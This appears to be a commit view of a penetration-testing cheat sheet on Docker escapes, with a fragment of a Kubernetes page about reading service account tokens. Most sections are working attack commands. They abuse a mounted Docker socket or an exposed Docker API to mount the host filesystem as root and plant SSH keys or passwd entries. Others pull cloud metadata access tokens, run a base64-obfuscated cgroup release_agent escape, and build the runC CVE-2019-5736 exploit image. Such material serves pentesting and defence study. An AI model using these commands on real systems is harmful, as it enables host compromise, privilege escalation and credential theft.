Docker escape and exploit

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Swissky 2020-03-29 16:48:09 +02:00
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* [katacoda](https://katacoda.com/courses/kubernetes). Learn Kubernetes using interactive broser-based scenarios.
## Service Token
> As it turns out, when pods (a Kubernetes abstraction for a group of containers) are created they are automatically assigned the default service account, and a new volume is created containing the token for accessing the Kubernetes API. That volume is then mounted into all the containers in the pod.
```powershell
$ cat /var/run/secrets/kubernetes.io/serviceaccount
# kubectl makes cluster compromise trivial as it will use that serviceaccount token without additional prompting
```
## RBAC Configuration
### Listing Secrets
@ -188,4 +198,5 @@ http://<external-IP>:10255/pods
## References
- [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://securityboulevard.com/2019/08/kubernetes-pentest-methodology-part-1)
- [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2)
- [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2)
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)

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# Docker Pentest
> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.
## Summary
- [Tools](#tools)
- [Mounted Docker Socket](#mounted-docker-socket)
- [Open Docker API Port](#open-docker-api-port)
- [Insecure Docker Registry](#insecure-docker-registry)
- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1)
- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc)
- [References](#references)
## Tools
* Dockscan : https://github.com/kost/dockscan
```powershell
dockscan unix:///var/run/docker.sock
dockscan -r html -o myreport -v tcp://example.com:5422
```
## Mounted Docker Socket
Prerequisite:
* Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`
Usually found in `/var/run/docker.sock`, for example for Portainer.
```powershell
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl -XPOST unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
curl -XPOST unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
```
## Open Docker API Port
Prerequisite:
* Docker runned with `-H tcp://0.0.0.0:XXXX`
```powershell
$ nmap -sCV 10.10.10.10 -p 2376
2376/tcp open docker Docker 19.03.5
| docker-version:
| Version: 19.03.5
| MinAPIVersion: 1.12
```
Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.
```powershell
$ export DOCKER_HOST=tcp://10.10.10.10:2376
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash
or
$ docker -H open.docker.socket:2375 ps
$ docker -H open.docker.socket:2375 exec -it mysql /bin/bash
or
$ curl -s insecure https://tls-opendocker.socket:2376/secrets | jq
$ curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
```
From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.
## Insecure Docker Registry
Docker Registrys fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.
```powershell
curl https://registry.example.com/v2/<image_name>/tags/list
docker pull https://registry.example.com:443/<image_name>:<tag>
```
Access a private registry using OAuth Token from Google
```powershell
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
```
## Exploit privileged container abusing the Linux cgroup v1
Prerequisite (at least one):
* `--privileged`
* `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.
```powershell
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'
```
Exploit breakdown :
```powershell
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
## Breaking out of Docker via runC
> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team
Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736
```powershell
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```
## References
- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)
- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
- [Breaking out of Docker via runC Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
- [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md)